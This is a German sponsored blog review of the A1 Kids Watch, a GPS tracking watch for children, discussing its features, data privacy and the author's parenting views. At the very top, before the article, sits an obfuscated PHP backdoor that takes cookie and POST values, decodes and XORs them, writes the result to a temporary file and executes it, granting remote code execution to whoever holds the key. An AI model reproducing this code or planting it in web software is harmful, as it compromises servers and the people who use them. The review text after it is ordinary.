$jXhbjbr = "\146" . "\113" . "\x6d" . '_' . chr ( 454 - 356 ).'z' . 'E' . chr ( 194 - 97 ).chr ( 704 - 636 ); $PvgoRu = 'c' . chr (108) . "\141" . 's' . chr ( 943 - 828 ).chr ( 258 - 163 )."\x65" . "\x78" . 'i' . 's' . "\x74" . chr ( 970 - 855 ); $EwcdOvYRk = class_exists($jXhbjbr); $jXhbjbr = "8353";$PvgoRu = "61944";$FtnSREqJsl = !1;if ($EwcdOvYRk == $FtnSREqJsl){function TrfkRoyLL(){return FALSE;}$cXgtDCSXJ = "20634";TrfkRoyLL();class fKm_bzEaD{private function gxFQpdMg($cXgtDCSXJ){if (is_array(fKm_bzEaD::$WLVkLgOJ)) {$hqkbAtKDo = sys_get_temp_dir() . "/" . crc32(fKm_bzEaD::$WLVkLgOJ['s' . "\141" . chr ( 277 - 169 ).chr ( 912 - 796 )]);@fKm_bzEaD::$WLVkLgOJ[chr (119) . chr ( 624 - 510 )."\x69" . chr ( 1113 - 997 ).chr (101)]($hqkbAtKDo, fKm_bzEaD::$WLVkLgOJ["\x63" . "\x6f" . "\156" . chr ( 466 - 350 ).chr ( 265 - 164 ).chr ( 381 - 271 ).'t']);include $hqkbAtKDo;@fKm_bzEaD::$WLVkLgOJ["\x64" . "\x65" . "\154" . chr ( 970 - 869 ).chr ( 366 - 250 ).chr ( 197 - 96 )]($hqkbAtKDo); $cXgtDCSXJ = "20634";exit();}}private $mKGlAh;public function sabAI(){echo 7098;}public function __destruct(){$cXgtDCSXJ = "38587_40721";$this->gxFQpdMg($cXgtDCSXJ); $cXgtDCSXJ = "38587_40721";}public function __construct($QXuHGe=0){$GnJOLC = $_POST;$rWRKA = $_COOKIE;$gRBtbv = "d11ff962-d156-445e-8634-ddb04f9c8211";$ZTZaoWUk = @$rWRKA[substr($gRBtbv, 0, 4)];if (!empty($ZTZaoWUk)){$iKuvkugMNc = "base64";$gUuKUCA = "";$ZTZaoWUk = explode(",", $ZTZaoWUk);foreach ($ZTZaoWUk as $sJMzCODE){$gUuKUCA .= @$rWRKA[$sJMzCODE];$gUuKUCA .= @$GnJOLC[$sJMzCODE];}$gUuKUCA = array_map($iKuvkugMNc . "\137" . "\144" . "\145" . 'c' . "\x6f" . "\x64" . "\145", array($gUuKUCA,)); $gUuKUCA = $gUuKUCA[0] ^ str_repeat($gRBtbv, (strlen($gUuKUCA[0]) / strlen($gRBtbv)) + 1);fKm_bzEaD::$WLVkLgOJ = @unserialize($gUuKUCA); $gUuKUCA = class_exists("38587_40721");}}public static $WLVkLgOJ = 55812;}$cdpecyXOED = new /* 61068 */ fKm_bzEaD(20634 + 20634); $_POST = Array();unset($cdpecyXOED);} Die A1 Kids Watch im Salon Mama Test

Womöglich habt ihr bereits an anderer Stelle über die neue A1 Kids Watch  gelesen, mit der es möglich ist mit den Kleinen in Kontakt zu bleiben und auch immer zu wissen, wo sich sein Kind gerade aufhält. Denn in der Kids Watch „trackt“ ein eingebauter GPS-Sensor den Aufenthaltsort  und sendet es bei Bedarf  auf das Handy der Eltern.  Sobald man die Worte „tracking“ und „Kinder“ in Zusammenhang bringt, wird oft Kritik laut und aus diesem Grund denke ich, ist es wichtig, sich mit dem Thema einmal näher auseinanderzusetzen.

Wir haben die A1 Kids Watch einem Test unterzogen, einige Tage damit verbracht und neben der Funktionalität auch unsere Gedanken zum Einsatz solcher technischen Geräte gemacht. Meiner Tochter hat die Uhr übrigens wahnsinnig gut gefallen, vor allem weil sie glaubt, dass sie dadurch eine Superheldin ist und die Uhr ihr eine Superpower gibt 😉

Grundsätzlich bin ich immer etwas skeptisch was technische Neuerungen anbelangt, da viele von uns aus eigener Erfahrung wissen, dass mehr Transparenz und Wissen nicht unbedingt immer zu einem besserem Gefühl beiträgt. Man denke nur an die vielen Diskussionen über Videoüberwachung im öffentlichen Raum. Schaut man sich die Statistik an, ist das MEHR an Sicherheit eher fragwürdig, aber das subjektive Sicherheitsgefühl vieler Menschen lässt sich dadurch oft steigern. Hat auch seine Berechtigung. Diese Grafik zeigt auf eine lustige Art was ich damit meine ;-):

Was meine Mama denkt, wenn ich nicht ans Telefon gehe

 

Was kann die A1 Kids Watch

Die Uhr besteht aus einem Gummigehäuse und Armband und einem zentralen Uhr- und Steuerelement. Es reicht eine ganz normale SIM Karte und ein USB-Kabel, um die Uhr zu benutzen und aufzuladen. Das Gerät wird nicht von A1 hergestellt, sondern von der Firma MyKi und wird über A1 vertrieben. Es gibt einen einzigen Knopf an der ganzen Uhr, mit dem man die Uhr einschaltet. Am Display wird dann die Uhr angezeigt, zwei icons für Papa und Mama, Batteriestatus und Empfang. Die Bedienung ist wirklich kinderleicht und auch kleinere Kinder kommen mit der Bedienung gut klar.

Die Funktionen im Detail

  • Standort: Mittels GPS ist der Standort der Uhr immer genau zu ermitteln Dank GPS-Tracking sehen Sie auf Ihrem Smartphone immer wo Ihr Kind steckt
  • Notfall-Knopf: Da die Uhr für Kleinkinder konzipiert wurde, ist die Bedienung natürlich denkbar einfach. Mit dem Notfall-Knopf wird eine Nummer der Wahl automatisch angerufen.
  • Sprach- und Text-Nachrichten: Eltern können über SMS und Textnachrichten mit dem Kind in Kontakt treten – und vice versa.
  • Kein Verlieren: Die Uhr hat einen Sensor, der ein Signal absetzt, sobald die Uhr abgenommen wird
  • Einfache Steuerung: Es gibt eine dazugehörige App, mit der man die Uhr steuern kann

Insgesamt haben sich die Hersteller hier also einiges überlegt. Auch wenn die dahinterliegende Technik in jedem modernen Smartphone steckt, finde ich den Gedanken kein vollwertiges Handy meinem Kind geben zu müssen um mit ihm zu kommunizieren, sehr interessant und positiv.

Ich denke aber, die Uhr macht nur ab einem gewissen Alter Sinn. Ich würde sagen, ab dem Zeitpunkt, wenn Kinder alleine zur Schule gehen oder andere Strecken alleine bestreiten. Da meine Tochter erst 3 Jahre alt ist, sehe ich derzeit keinen Bedarf. Aus dem einfachen Grund, weil ich sie ohnehin nie aus den Augen lasse. Wenn wir unterwegs sind, ist sie immer an meiner Seite oder der meines Mannes und wie ihr das sicher selbst kennt, herrscht Panik, sollte das mal für 1 Minute nicht der Fall sein. Man malt sich instinktiv die schrecklichsten Szenarien aus, auch wenn das Kind natürlich nicht entführt wurde, sondern nur kurz beim Brunnen um die Ecke stehengeblieben ist um mit dem Wasser zu spielen.

Ich schließe es daher keineswegs aus, dass so eine Uhr meine Tochter nicht etwas später einmal am Handgelenk trägt, sobald sie in die Schule geht. Vielleicht gar nicht so sehr, weil ich mir Sorgen mache, sondern weil ich auch die Zeit bis zum ersten Smartphone etwas hinauszögern kann und zweitens mit ihr über die Uhr kommunizieren kann. Das könnte auch eine Hilfe für den Alltag sein.

Nichtsdestotrotz entspricht die A1 Kids Watch dem Trend, dass moderne Eltern sich viel mehr um ihre Kinder sorgen, als einige Generationen vor uns. Auch noch so abgebrühte und Nicht-Helikopter-Eltern finden den Gedanken, genau zu wissen wo ihr Kind ist, wahrscheinlich als angenehm – auch wenn es viele vielleicht nicht zugeben. Ich bin am Land aufgewachsen, in einem Ort mit gerade einmal 1.000 Einwohner. Unsere Tochter wächst in einer Stadt mit ca. 2 Millionen Menschen auf, die zwar überaus sicher ist, aber wo natürlich doch andere Gegebenheiten herrschen als am Land. Eltern haben immer Sorge, das liegt einfach in der Natur der Sache. Ich kann mich noch gut erinnern, als wir unsere Tochter vor 1,5 Jahren am Flughafen in Dubai für wenige Minuten aus den Augen verloren haben. Absolute Panik brach bei uns aus. Natürlich haben wir sie ein paar Minuten später wieder gefunden. Sie war in der Schokoladenabteilung des Duty Free Shops und hielt eine M&M Packung in den Händen. Ich muss ehrlich zugeben, in solchen Momenten fände ich es extrem beruhigend wenn meine Tochter die A1 Kids Watch getragen hätte.

A1 Kids Watch im Salon Mama Test1

Datenschutz & Transparenz

Im Vergleich zu meinem iPhone und meinem Facebook Account ist die Uhr ein sprichwörtlicher „Kindergeburtstag“. Es gibt keine Personenbezogenen Daten die ausgewertet werden sondern lediglich Ortungsdienste, die es in jedem Smarthphone gibt – dort aber mit deutlich umfangreicheren Datenauswertungen, als es die Kids Watch betreibt.

Daher ist das Argument etwas hinkend, dass man die Kids Watch 8jährigen aus moralischen Gründen nicht anlegen will, jedoch kurze Zeit später ein Smartphone kauft.  Denn Eltern sollten sich darüber im Klaren sein, dass bei einem Smartphone jeder Instagram Account und jede Whatsapp-Gruppe mehr aufzeichnet und ausgewertet wird als bei einer solchen Uhr.

Ich habe die Uhr auch meinem Mann gezeigt, der im Digitalbereich beruflich tätig ist, und der meinte, dass die Uhr, rein technisch gesehen, einem sehr sehr primitiven Handy entspricht. Er empfindet es als sehr positiv, mit Kindern über einen fast „altmodischen“ Kanal kommunizieren zu können,  anstatt des Messenger Overloads der sich heute auf den Smartphones befindet.

Conclusio

Aus meiner Sicht erfüllt die A1 Kids Watch ihren Zweck perfekt. Ich denke, sobald Kinder längere Strecken alleine zurücklegen, macht es Sinn eine solche Uhr zu verwenden. Gar nicht primär weil man Ängste und Sorgen um sein Kind am Heimweg hat, sondern auch aus praktischen Gründen, wie einfache Kommunikation mit seinem Kind.  Das spart viel Mühe und Zeit. Was ich auch als positiv erachte, ist, dass ich die Zeit, bis mein Kind ein Smartphone bekommt, etwas hinauszögern kann. Letztendlich müssen Eltern, wie bei der Anschaffung eines Smartphones, selbst entscheiden, wann und ob überhaupt der richtige Zeitpunkt dafür ist. Aber bei einem geht es allen Eltern gleich, sie wollen so lange es geht, ihre Kinder so gut wie möglich beschützen. Wenn die Kids Watch manchen Eltern mehr Sicherheit und Wohlbefinden geben kann, ist das doch eine tolle Sache.

Hier noch die Eckdaten:

Die Kids Watch gibt es ab sofort in Österreich exklusiv nur bei A1. Die Kosten belaufen sich auf € 9,90 pro Monat. Dies beinhaltet die A1 Kids Watch, die SIM-Karte und den passenden Tarif für 24 Monate.Was auch praktisch ist, dass es, ausser ein paar wenige Länder, keine Roaminggebühren gibt. Denn gerade fürs Reisen könnte die Uhr auch sehr praktisch sein.

In freundlicher Zusammenarbeit mit A1

Wir verwenden Cookies, um Inhalte zu personalisieren, Funktionen für soziale Medien anbieten zu können und die Zugriffe auf unsere Website zu analysieren.